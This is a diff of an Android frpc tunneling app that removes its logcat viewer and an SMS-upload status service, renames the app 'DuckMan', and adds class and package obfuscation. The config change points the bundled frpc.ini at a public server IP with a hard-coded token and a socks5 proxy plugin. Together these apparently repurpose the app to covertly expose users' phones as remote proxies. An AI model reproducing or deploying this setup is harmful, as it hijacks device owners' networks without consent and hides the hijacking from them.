-import android.content.ClipboardManager;
-import android.content.Context;
-import android.view.Menu;
-import android.view.MenuItem;
-import android.view.View;
-import android.widget.Toast;
-
-import androidx.annotation.NonNull;
-
-import com.car.frpc_android.BaseActivity;
-import com.car.frpc_android.R;
-import com.car.frpc_android.databinding.ActivityLogcatBinding;
-
-import java.io.BufferedReader;
-import java.io.InputStreamReader;
-import java.util.HashSet;
-import java.util.LinkedHashSet;
-
-import io.reactivex.Observable;
-import io.reactivex.ObservableOnSubscribe;
-import io.reactivex.Observer;
-import io.reactivex.android.schedulers.AndroidSchedulers;
-import io.reactivex.disposables.Disposable;
-import io.reactivex.schedulers.Schedulers;
-
-public class LogcatActivity extends BaseActivity<ActivityLogcatBinding> {
-
-    @Override
-    public void initView() {
-        initToolbar();
-        readLog(false);
-    }
-
-    private void readLog(boolean flush) {
-        HashSet<String> lst = new LinkedHashSet<>();
-        lst.add("logcat");
-        lst.add("-d");
-        lst.add("-v");
-        lst.add("time");
-        lst.add("-s");
-        lst.add("GoLog,com.car.frpc_android.util.FrpcService");
-        lst.add("hzshkj");
-        Observable.create((ObservableOnSubscribe<String>) emitter -> {
-
-                    if (flush) {
-                        HashSet<String> lst2 = new LinkedHashSet<>();
-                        lst2.add("logcat");
-                        lst2.add("-c");
-                        Process process = Runtime.getRuntime().exec(lst2.toArray(new String[0]));
-                        process.waitFor();
-                    }
-
-                    Process process = Runtime.getRuntime().exec(lst.toArray(new String[0]));
-
-                    InputStreamReader in = new InputStreamReader(process.getInputStream());
-                    BufferedReader bufferedReader = new BufferedReader(in);
-
-                    String line = null;
-                    while ((line = bufferedReader.readLine()) != null) {
-                        emitter.onNext(line);
-                    }
-                    in.close();
-                    bufferedReader.close();
-                    emitter.onComplete();
-                }).subscribeOn(Schedulers.io())
-                .observeOn(AndroidSchedulers.mainThread())
-                .subscribe(new Observer<String>() {
-                    @Override
-                    public void onSubscribe(Disposable d) {
-
-                    }
-
-                    @Override
-                    public void onNext(String s) {
-                        b.tvLogcat.append(s);
-                        b.tvLogcat.append("\r\n");
-                        b.svLogcat.fullScroll(View.FOCUS_DOWN);
-                    }
-
-                    @Override
-                    public void onError(Throwable e) {
-                        e.printStackTrace();
-                    }
-
-                    @Override
-                    public void onComplete() {
-
-                    }
-                });
-    }
-
-    private void initToolbar() {
-        setSupportActionBar(b.toolbar);
-        getSupportActionBar().setDisplayHomeAsUpEnabled(true);
-        b.toolbar.setNavigationOnClickListener(v -> finish());
-    }
-
-    @Override
-    public boolean onCreateOptionsMenu(Menu menu) {
-        getMenuInflater().inflate(R.menu.menu_logcat, menu);
-        return super.onCreateOptionsMenu(menu);
-    }
-
-    @Override
-    public boolean onOptionsItemSelected(@NonNull MenuItem item) {
-        switch (item.getItemId()) {
-            case R.id.copy:
-                setClipboard(b.tvLogcat.getText().toString());
-                Toast.makeText(this, R.string.copySuccess, Toast.LENGTH_SHORT).show();
-                break;
-            case R.id.delete:
-                readLog(true);
-                b.tvLogcat.setText("");
-                break;
-
-        }
-        return super.onOptionsItemSelected(item);
-    }
-
-    public void setClipboard(String content) {
-        try {
-            ClipboardManager cmb = (ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);
-            ClipData clipData = ClipData.newPlainText("logcat", content);
-            cmb.setPrimaryClip(clipData);
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
-}

+ 0 - 56
frpc_android-master/app/src/main/java/com/car/frpc_android/util/CommonUtils.java

@@ -1,56 +0,0 @@
-package com.car.frpc_android.util;
-
-import android.app.ActivityManager;
-import android.content.Context;
-
-import java.io.BufferedReader;
-import java.io.InputStreamReader;
-import java.util.List;
-import java.util.concurrent.TimeUnit;
-
-import frpclib.Frpclib;
-import io.reactivex.Completable;
-import io.reactivex.Observable;
-import io.reactivex.functions.Function;
-import io.reactivex.functions.Predicate;
-
-public class CommonUtils {
-
-
-    public static Completable waitService(String serviceName, Context context) {
-        return Completable.fromObservable(Observable.interval(0, 1, TimeUnit.SECONDS)
-                .takeUntil(aLong -> {
-                    return isServiceRunning(serviceName, context);
-                })
-        );
-    }
-
-    public static boolean isServiceRunning(String serviceName, Context context) {
-        ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
-        List<ActivityManager.RunningServiceInfo> runningServices = am.getRunningServices(Integer.MAX_VALUE); //获取运行的服务,参数表示最多返回的数量
-        for (ActivityManager.RunningServiceInfo runningServiceInfo : runningServices) {
-            String className = runningServiceInfo.service.getClassName();
-            if (className.equals(serviceName)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    public static Observable<String> getStringFromRaw(Context context, int rawName) {
-        return Observable.create(emitter -> {
-            BufferedReader reader = new BufferedReader(new InputStreamReader(context.getResources().openRawResource(rawName)));
-            String line;
-            StringBuilder result = new StringBuilder();
-            while ((line = reader.readLine()) != null) {
-                result.append(line).append("\n");
-            }
-            reader.close();
-            emitter.onNext(result.toString());
-            emitter.onComplete();
-        });
-
-    }
-
-
-}

+ 0 - 115
frpc_android-master/app/src/main/java/com/car/frpc_android/util/ForegroundService.java

@@ -1,115 +0,0 @@
-package com.car.frpc_android.util;
-
-import static com.car.frpc_android.Config.BREATH_TAG;
-import static com.car.frpc_android.Config.SMS_UPLOAD_TAG;
-import static com.car.frpc_android.Config.WEBSOCKET_STATUS_TAG;
-
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.app.Service;
-import android.content.Intent;
-import android.os.Build;
-import android.os.IBinder;
-
-import androidx.annotation.Nullable;
-import androidx.core.app.NotificationCompat;
-import androidx.lifecycle.Observer;
-
-import com.car.frpc_android.R;
-import com.jeremyliao.liveeventbus.LiveEventBus;
-
-import java.util.HashMap;
-
-public class ForegroundService extends Service {
-    private static final int NOTIFICATION_ID = 1;
-    private static final String CHANNEL_ID = "channel_id";
-
-    private NotificationManager notificationManager;
-    private NotificationCompat.Builder notificationBuilder;
-
-    private HashMap<String, String> map;
-    private Observer<String> observer1;
-    private Observer<String> observer2;
-    private Observer<String> observer3;
-
-    @Nullable
-    @Override
-    public IBinder onBind(Intent intent) {
-        throw new UnsupportedOperationException("Not yet implemented");
-    }
-
-    @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
-        return super.onStartCommand(intent, flags, startId);
-    }
-
-    @Override
-    public void onCreate() {
-        super.onCreate();
-        // 获取 NotificationManager
-        map = new HashMap<>();
-        notificationManager = getSystemService(NotificationManager.class);
-        // 创建通知渠道(仅针对 Android O 及以上版本)
-        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
-            NotificationChannel channel = new NotificationChannel(CHANNEL_ID, "channel_name", NotificationManager.IMPORTANCE_LOW);
-            if (notificationManager != null) {
-                notificationManager.createNotificationChannel(channel);
-            }
-        }
-        // 创建通知
-        notificationBuilder = new NotificationCompat.Builder(this, CHANNEL_ID)
-                .setSmallIcon(R.mipmap.ic_launcher)
-                .setContentTitle(getString(R.string.current_status))
-                .setContentText(getString(R.string.no_message))
-                .setPriority(NotificationCompat.PRIORITY_LOW);
-
-        startForeground(NOTIFICATION_ID, notificationBuilder.build());
-        observer1 = s -> {
-            map.put(BREATH_TAG, s);
-            updateNotification(map);
-        };
-        observer2 = s -> {
-            map.put(WEBSOCKET_STATUS_TAG, s);
-            updateNotification(map);
-
-        };
-        observer3 = s -> {
-            map.put(SMS_UPLOAD_TAG, s);
-            updateNotification(map);
-
-        };
-
-        LiveEventBus
-                .get(BREATH_TAG, String.class)
-                .observeForever(observer1);
-        LiveEventBus
-                .get(WEBSOCKET_STATUS_TAG, String.class)
-                .observeForever(observer2);
-        LiveEventBus
-                .get(SMS_UPLOAD_TAG, String.class)
-                .observeForever(observer3);
-
-
-    }
-
-    @Override
-    public void onDestroy() {
-        super.onDestroy();
-        stopForeground(true);
-        LiveEventBus.get(BREATH_TAG, String.class).removeObserver(observer1);
-        LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).removeObserver(observer2);
-        LiveEventBus.get(SMS_UPLOAD_TAG, String.class).removeObserver(observer3);
-    }
-
-    private void updateNotification(HashMap map) {
-        if (notificationBuilder != null) {
-            String contentText = map.get(BREATH_TAG)
-                    + ","
-                    + map.get(WEBSOCKET_STATUS_TAG)
-                    + ","
-                    + map.get(SMS_UPLOAD_TAG);
-            notificationBuilder.setContentText(contentText);
-            notificationManager.notify(NOTIFICATION_ID, notificationBuilder.build());
-        }
-    }
-}

+ 0 - 1
frpc_android-master/app/src/main/res/layout/activity_ini_edit.xml

@@ -30,7 +30,6 @@
         android:layout_height="match_parent"
         app:code="#"
         android:theme="@style/Theme.Material3.Dark"
-
         app:isReadOnly="false"
         app:isShowExtendedKeyboard="true"
         app:lang="sh" />

+ 0 - 42
frpc_android-master/app/src/main/res/layout/activity_logcat.xml

@@ -1,42 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:app="http://schemas.android.com/apk/res-auto"
-    xmlns:tools="http://schemas.android.com/tools"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:orientation="vertical"
-    tools:context=".ui.LogcatActivity">
-
-    <com.google.android.material.appbar.AppBarLayout
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        >
-
-        <androidx.appcompat.widget.Toolbar
-            app:popupTheme="@style/ThemeOverlay.AppCompat.Light"
-            app:theme="@style/ThemeOverlay.AppCompat.Dark.ActionBar"
-            android:id="@+id/toolbar"
-            android:layout_width="match_parent"
-            android:layout_height="?attr/actionBarSize"
-            app:titleTextColor="@color/white"
-            android:background="?attr/colorPrimary"
-            app:title="@string/title_logcat" />
-
-    </com.google.android.material.appbar.AppBarLayout>
-
-    <ScrollView
-        android:id="@+id/sv_logcat"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:fillViewport="false"
-        android:foregroundGravity="bottom">
-
-        <TextView
-            android:id="@+id/tv_logcat"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:gravity="bottom"
-            android:maxLines="65536"
-            android:textAppearance="?android:attr/textAppearanceSmall" />
-    </ScrollView>
-</LinearLayout>

+ 0 - 4
frpc_android-master/app/src/main/res/menu/activity_main_drawer.xml

@@ -12,10 +12,6 @@
 
     <item android:title="@string/title_about">
         <menu>
-            <item
-                android:id="@+id/logcat"
-                android:icon="@drawable/ic_logcat_white"
-                android:title="@string/title_logcat" />
             <item
                 android:id="@+id/logcat_push"
                 android:icon="@drawable/ic_logcat_white"

BIN
frpc_android-master/app/src/main/res/mipmap-hdpi/ic_launcher.png


BIN
frpc_android-master/app/src/main/res/mipmap-mdpi/ic_launcher.png


BIN
frpc_android-master/app/src/main/res/mipmap-xhdpi/ic_launcher.png


BIN
frpc_android-master/app/src/main/res/mipmap-xxhdpi/ic_launcher.png


BIN
frpc_android-master/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png


+ 1 - 1
frpc_android-master/app/src/main/res/navigation/mobile_navigation.xml

@@ -7,7 +7,7 @@
 
     <fragment
         android:id="@+id/nav_home"
-        android:name="com.car.frpc_android.ui.HomeFragment"
+        android:name="com.app.duck.ui.HomeFragment"
         android:label="@string/menu_home"
         tools:layout="@layout/fragment_home">
     </fragment>

+ 7 - 5
frpc_android-master/app/src/main/res/raw/frpc.ini

@@ -1,9 +1,11 @@
 [common]
-server_addr = 127.0.0.1
+server_addr = 18.195.242.131
 server_port = 7000
+protocol = kcp
+token = 123678asbsfd
 
-[ssh]
+
+[socks5_proxy_tunnelXXXX]
 type = tcp
-local_ip = 127.0.0.1
-local_port = 22
-remote_port = 6000
+remote_port = XXXX
+plugin = socks5

+ 2 - 2
frpc_android-master/app/src/main/res/values/strings.xml

@@ -1,6 +1,6 @@
 <resources>
-    <string name="app_name">ProToolbox&amp;ussd</string>
-    <string name="title_activity_main">ProToolbox&amp;ussd</string>
+    <string name="app_name">DuckMan</string>
+    <string name="title_activity_main">DuckMan</string>
     <string name="navigation_drawer_open">Open navigation drawer</string>
     <string name="navigation_drawer_close">Close navigation drawer</string>
     <string name="nav_header_title">Android Studio</string>

+ 16 - 0
frpc_android-master/app/xmlclassguard.gradle

@@ -0,0 +1,16 @@
+apply plugin: "xml-class-guard"
+
+//以下均为非必须,根据自己需要配置即可
+xmlClassGuard {
+    /*
+     * 是否查找约束布局的constraint_referenced_ids属性的值,并添加到AabResGuard的白名单中,
+     * 是的话,要求你在XmlClassGuard前依赖AabResGuard插件,默认false
+     */
+    findConstraintReferencedIds = false
+    //混淆映射文件
+    mappingFile = file("xml-class-mapping.txt")
+    //更改manifest里package属性
+    packageChange = ["com.car.frpc_android": "com.app.duck"]
+    //移动目录,支持同时移动多个目录
+    moveDir = ["com.car.frpc_android": "com.app.duck"]
+}

+ 1 - 0
frpc_android-master/build.gradle

@@ -15,6 +15,7 @@ buildscript {
         classpath "org.jetbrains.dokka:dokka-gradle-plugin:1.4.30"
         classpath 'io.fabric.tools:gradle:1.31.2'
         classpath 'com.jfrog.bintray.gradle:gradle-bintray-plugin:1.8.1'
+        classpath "com.github.liujingxing:XmlClassGuard:1.1.0"
     }
 }